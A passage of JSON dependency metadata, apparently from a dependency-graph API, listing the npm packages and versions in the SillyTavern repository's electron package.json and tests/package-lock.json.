15T02:12:20.299Z","updated_at":"2026-09-15T02:12:20.299Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/src/electron/package.json","dependencies":[{"id":26500039491,"package_name":"electron","ecosystem":"npm","requirements":"^41.1.1","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"npm","filepath":"tests/package-lock.json","sha":null,"kind":"lockfile","created_at":"2026-09-15T02:12:20.394Z","updated_at":"2026-09-15T02:12:20.394Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/tests/package-lock.json","dependencies":[{"id":26500039603,"package_name":"@ampproject/remapping","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039604,"package_name":"@babel/code-frame","ecosystem":"npm","requirements":"7.26.2","direct":false,"kind":"runtime","optional":false},{"id":26500039605,"package_name":"@babel/compat-data","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039606,"package_name":"@babel/core","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039607,"package_name":"@babel/generator","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039608,"package_name":"@babel/helper-compilation-targets","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039609,"package_name":"@babel/helper-environment-visitor","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039610,"package_name":"@babel/helper-function-name","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039611,"package_name":"@babel/helper-hoist-variables","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039612,"package_name":"@babel/helper-module-imports","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039613,"package_name":"@babel/helper-module-transforms","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039614,"package_name":"@babel/helper-plugin-utils","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039615,"package_name":"@babel/helper-simple-access","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039616,"package_name":"@babel/helper-split-export-declaration","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039617,"package_name":"@babel/helper-string-parser","ecosystem":"npm","requirements":"7.25.9","direct":false,"kind":"runtime","optional":false},{"id":26500039618,"package_name":"@babel/helper-validator-identifier","ecosystem":"npm","requirements":"7.25.9","direct":false,"kind":"runtime","optional":false},{"id":26500039619,"package_name":"@babel/helper-validator-option","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039620,"package_name":"@babel/helpers","ecosystem":"npm","requirements":"7.26.10","direct":false,"kind":"runtime","optional":false},{"id":26500039621,"package_name":"@babel/parser","ecosystem":"npm","requirements":"7.26.10","direct":false,"kind":"runtime","optional":false},{"id":26500039622,"package_name":"@babel/plugin-syntax-async-generators","ecosystem":"npm","requirements":"7.8.4","direct":false,"kind":"runtime","optional":false},{"id":26500039623,"package_name":"@babel/plugin-syntax-bigint","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039624,"package_name":"@babel/plugin-syntax-class-properties","ecosystem":"npm","requirements":"7.12.13","direct":false,"kind":"runtime","optional":false},{"id":26500039625,"package_name":"@babel/plugin-syntax-import-meta","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":26500039626,"package_name":"@babel/plugin-syntax-json-strings","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039627,"package_name":"@babel/plugin-syntax-jsx","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039628,"package_name":"@babel/plugin-syntax-logical-assignment-operators","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":26500039629,"package_name":"@babel/plugin-syntax-nullish-coalescing-operator","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039630,"package_name":"@babel/plugin-syntax-numeric-separator","ecosystem":"npm","requirements":"7.10.4","direct":false,"kind":"runtime","optional":false},{"id":26500039631,"package_name":"@babel/plugin-syntax-object-rest-spread","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039632,"package_name":"@babel/plugin-syntax-optional-catch-binding","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039633,"package_name":"@babel/plugin-syntax-optional-chaining","ecosystem":"npm","requirements":"7.8.3","direct":false,"kind":"runtime","optional":false},{"id":26500039634,"package_name":"@babel/plugin-syntax-top-level-await","ecosystem":"npm","requirements":"7.14.5","direct":false,"kind":"runtime","optional":false},{"id":26500039635,"package_name":"@babel/plugin-syntax-typescript","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039636,"package_name":"@babel/template","ecosystem":"npm","requirements":"7.26.9","direct":false,"kind":"runtime","optional":false},{"id":26500039637,"package_name":"@babel/traverse","ecosystem":"npm","requirements":"7.24.7","direct":false,"kind":"runtime","optional":false},{"id":26500039638,"package_name":"@babel/types","ecosystem":"npm","requirements":"7.26.10","direct":false,"kind":"runtime","optional":false},{"id":26500039639,"package_name":"@bcoe/v8-coverage","ecosystem":"npm","requirements":"0.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039640,"package_name":"@eslint-community/eslint-utils","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039641,"package_name":"@eslint-community/regexpp","ecosystem":"npm","requirements":"4.11.0","direct":false,"kind":"runtime","optional":false},{"id":26500039642,"package_name":"@eslint/eslintrc","ecosystem":"npm","requirements":"2.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039643,"package_name":"argparse","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039644,"package_name":"globals","ecosystem":"npm","requirements":"13.24.0","direct":false,"kind":"runtime","optional":false},{"id":26500039645,"package_name":"js-yaml","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039646,"package_name":"type-fest","ecosystem":"npm","requirements":"0.20.2","direct":false,"kind":"runtime","optional":false},{"id":26500039647,"package_name":"@eslint/js","ecosystem":"npm","requirements":"8.57.0","direct":false,"kind":"runtime","optional":false},{"id":26500039648,"package_name":"@humanwhocodes/config-array","ecosystem":"npm","requirements":"0.11.14","direct":false,"kind":"runtime","optional":false},{"id":26500039649,"package_name":"@humanwhocodes/module-importer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039650,"package_name":"@humanwhocodes/object-schema","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039651,"package_name":"@istanbuljs/load-nyc-config","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039652,"package_name":"@istanbuljs/schema","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039653,"package_name":"@jest/console","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039654,"package_name":"@jest/core","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039655,"package_name":"@jest/environment","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039656,"package_name":"@jest/expect","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039657,"package_name":"@jest/expect-utils","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039658,"package_name":"@jest/fake-timers","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039659,"package_name":"@jest/globals","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039660,"package_name":"@jest/reporters","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039661,"package_name":"@jest/schemas","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039662,"package_name":"@jest/source-map","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039663,"package_name":"@jest/test-result","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039664,"package_name":"@jest/test-sequencer","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039665,"package_name":"@jest/transform","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039666,"package_name":"@jest/types","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039667,"package_name":"@jridgewell/gen-mapping","ecosystem":"npm","requirements":"0.3.5","direct":false,"kind":"runtime","optional":false},{"id":26500039668,"package_name":"@jridgewell/resolve-uri","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039669,"package_name":"@jridgewell/set-array","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039670,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":26500039671,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.25","direct":false,"kind":"runtime","optional":false},{"id":26500039672,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"runtime","optional":false},{"id":26500039673,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":26500039674,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"runtime","optional":false},{"id":26500039675,"package_name":"@playwright/test","ecosystem":"npm","requirements":"1.56.1","direct":false,"kind":"runtime","optional":false},{"id":26500039676,"package_name":"semver","ecosystem":"npm","requirements":"7.7.1","direct":false,"kind":"runtime","optional":false},{"id":26500039677,"package_name":"@sinclair/typebox","ecosystem":"npm","requirements":"0.27.8","direct":false,"kind":"runtime","optional":false},{"id":26500039678,"package_name":"@sinonjs/commons","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039679,"package_name":"@sinonjs/fake-timers","ecosystem":"npm","requirements":"10.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039680,"package_name":"@types/babel__core","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"runtime","optional":false},{"id":26500039769,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039681,"package_name":"@types/babel__generator","ecosystem":"npm","requirements":"7.6.8","direct":false,"kind":"runtime","optional":false},{"id":26500039682,"package_name":"@types/babel__template","ecosystem":"npm","requirements":"7.4.4","direct":false,"kind":"runtime","optional":false},{"id":26500039683,"package_name":"@types/babel__traverse","ecosystem":"npm","requirements":"7.20.6","direct":false,"kind":"runtime","optional":false},{"id":26500039684,"package_name":"@types/graceful-fs","ecosystem":"npm","requirements":"4.1.9","direct":false,"kind":"runtime","optional":false},{"id":26500039685,"package_name":"@types/istanbul-lib-coverage","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039686,"package_name":"@types/istanbul-lib-report","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039687,"package_name":"@types/istanbul-reports","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039688,"package_name":"@types/jest","ecosystem":"npm","requirements":"29.5.12","direct":false,"kind":"runtime","optional":false},{"id":26500039689,"package_name":"@types/node","ecosystem":"npm","requirements":"20.14.10","direct":false,"kind":"runtime","optional":false},{"id":26500039690,"package_name":"@types/stack-utils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039691,"package_name":"@types/yargs","ecosystem":"npm","requirements":"17.0.32","direct":false,"kind":"runtime","optional":false},{"id":26500039692,"package_name":"@types/yargs-parser","ecosystem":"npm","requirements":"21.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039693,"package_name":"@ungap/structured-clone","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039694,"package_name":"acorn","ecosystem":"npm","requirements":"8.12.1","direct":false,"kind":"runtime","optional":false},{"id":26500039695,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"runtime","optional":false},{"id":26500039696,"package_name":"ajv","ecosystem":"npm","requirements":"6.14.0","direct":false,"kind":"runtime","optional":false},{"id":26500039697,"package_name":"ansi-escapes","ecosystem":"npm","requirements":"4.3.2","direct":false,"kind":"runtime","optional":false},{"id":26500039698,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039699,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039700,"package_name":"anymatch","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039701,"package_name":"argparse","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"runtime","optional":false},{"id":26500039702,"package_name":"babel-jest","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039703,"package_name":"babel-plugin-istanbul","ecosystem":"npm","requirements":"6.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039704,"package_name":"istanbul-lib-instrument","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039705,"package_name":"babel-plugin-jest-hoist","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039706,"package_name":"babel-preset-current-node-syntax","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039707,"package_name":"babel-preset-jest","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039708,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039709,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.13","direct":false,"kind":"runtime","optional":false},{"id":26500039711,"package_name":"braces","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039712,"package_name":"browserslist","ecosystem":"npm","requirements":"4.23.1","direct":false,"kind":"runtime","optional":false},{"id":26500039714,"package_name":"bser","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039716,"package_name":"buffer-from","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039718,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039720,"package_name":"camelcase","ecosystem":"npm","requirements":"5.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039721,"package_name":"caniuse-lite","ecosystem":"npm","requirements":"1.0.30001640","direct":false,"kind":"runtime","optional":false},{"id":26500039722,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039723,"package_name":"char-regex","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039724,"package_name":"ci-info","ecosystem":"npm","requirements":"3.9.0","direct":false,"kind":"runtime","optional":false},{"id":26500039725,"package_name":"cjs-module-lexer","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039726,"package_name":"cliui","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039727,"package_name":"co","ecosystem":"npm","requirements":"4.6.0","direct":false,"kind":"runtime","optional":false},{"id":26500039728,"package_name":"collect-v8-coverage","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039729,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039730,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039731,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039732,"package_name":"convert-source-map","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039733,"package_name":"create-jest","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039734,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039735,"package_name":"debug","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039736,"package_name":"dedent","ecosystem":"npm","requirements":"1.5.3","direct":false,"kind":"runtime","optional":false},{"id":26500039737,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039738,"package_name":"deepmerge","ecosystem":"npm","requirements":"4.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039739,"package_name":"detect-newline","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039740,"package_name":"diff-sequences","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039741,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039742,"package_name":"electron-to-chromium","ecosystem":"npm","requirements":"1.4.820","direct":false,"kind":"runtime","optional":false},{"id":26500039743,"package_name":"emittery","ecosystem":"npm","requirements":"0.13.1","direct":false,"kind":"runtime","optional":false},{"id":26500039744,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039745,"package_name":"error-ex","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"runtime","optional":false},{"id":26500039746,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039747,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039748,"package_name":"eslint","ecosystem":"npm","requirements":"8.57.0","direct":false,"kind":"runtime","optional":false},{"id":26500039749,"package_name":"eslint-scope","ecosystem":"npm","requirements":"7.2.2","direct":false,"kind":"runtime","optional":false},{"id":26500039750,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.4.3","direct":false,"kind":"runtime","optional":false},{"id":26500039751,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039752,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039753,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039754,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039755,"package_name":"espree","ecosystem":"npm","requirements":"9.6.1","direct":false,"kind":"runtime","optional":false},{"id":26500039756,"package_name":"esprima","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039757,"package_name":"esquery","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":26500039758,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039759,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039760,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039761,"package_name":"execa","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039762,"package_name":"exit","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039763,"package_name":"expect","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039764,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039765,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039766,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039767,"package_name":"fastq","ecosystem":"npm","requirements":"1.17.1","direct":false,"kind":"runtime","optional":false},{"id":26500039768,"package_name":"fb-watchman","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039770,"package_name":"fill-range","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039771,"package_name":"find-up","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039772,"package_name":"flat-cache","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039773,"package_name":"flatted","ecosystem":"npm","requirements":"3.4.2","direct":false,"kind":"runtime","optional":false},{"id":26500039774,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039775,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.3","direct":false,"kind":"runtime","optional":false},{"id":26500039776,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039777,"package_name":"gensync","ecosystem":"npm","requirements":"1.0.0-beta.2","direct":false,"kind":"runtime","optional":false},{"id":26500039778,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":26500039779,"package_name":"get-package-type","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039780,"package_name":"get-stream","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039781,"package_name":"glob","ecosystem":"npm","requirements":"7.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039782,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039783,"package_name":"globals","ecosystem":"npm","requirements":"11.12.0","direct":false,"kind":"runtime","optional":false},{"id":26500039784,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.11","direct":false,"kind":"runtime","optional":false},{"id":26500039785,"package_name":"graphemer","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039786,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039787,"package_name":"hasown","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039788,"package_name":"html-escaper","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039789,"package_name":"human-signals","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039790,"package_name":"ignore","ecosystem":"npm","requirements":"5.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039791,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039792,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039793,"package_name":"import-local","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039794,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039795,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039796,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039797,"package_name":"is-arrayish","ecosystem":"npm","requirements":"0.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039798,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.14.0","direct":false,"kind":"runtime","optional":false},{"id":26500039799,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039800,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039801,"package_name":"is-generator-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039802,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039803,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039804,"package_name":"is-path-inside","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039805,"package_name":"is-stream","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039806,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039807,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"3.2.2","direct":false,"kind":"runtime","optional":false},{"id":26500039808,"package_name":"istanbul-lib-instrument","ecosystem":"npm","requirements":"6.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039809,"package_name":"semver","ecosystem":"npm","requirements":"7.6.2","direct":false,"kind":"runtime","optional":false},{"id":26500039810,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039811,"package_name":"istanbul-lib-source-maps","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039812,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"3.1.7","direct":false,"kind":"runtime","optional":false},{"id":26500039813,"package_name":"jest","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039814,"package_name":"jest-changed-files","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039815,"package_name":"jest-circus","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039816,"package_name":"jest-cli","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039817,"package_name":"jest-config","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039818,"package_name":"jest-diff","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039819,"package_name":"jest-docblock","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039820,"package_name":"jest-each","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039821,"package_name":"jest-environment-node","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039822,"package_name":"jest-get-type","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039823,"package_name":"jest-haste-map","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039824,"package_name":"jest-leak-detector","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039825,"package_name":"jest-matcher-utils","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039826,"package_name":"jest-message-util","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039827,"package_name":"jest-mock","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039828,"package_name":"jest-pnp-resolver","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"runtime","optional":false},{"id":26500039829,"package_name":"jest-regex-util","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":26500039830,"package_name":"jest-resolve","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039831,"package_name":"jest-resolve-dependencies","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039832,"package_name":"jest-runner","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039833,"package_name":"jest-runtime","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039834,"package_name":"jest-snapshot","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039835,"package_name":"jest-util","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039836,"package_name":"jest-validate","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039837,"package_name":"camelcase","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039838,"package_name":"jest-watcher","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039839,"package_name":"jest-worker","ecosystem":"npm","requirements":"29.7.0","direct":false,"kind":"runtime","optional":false},{"id":26500039840,"package_name":"supports-color","ecosystem":"npm","requirements":"8.1.1","direct":false,"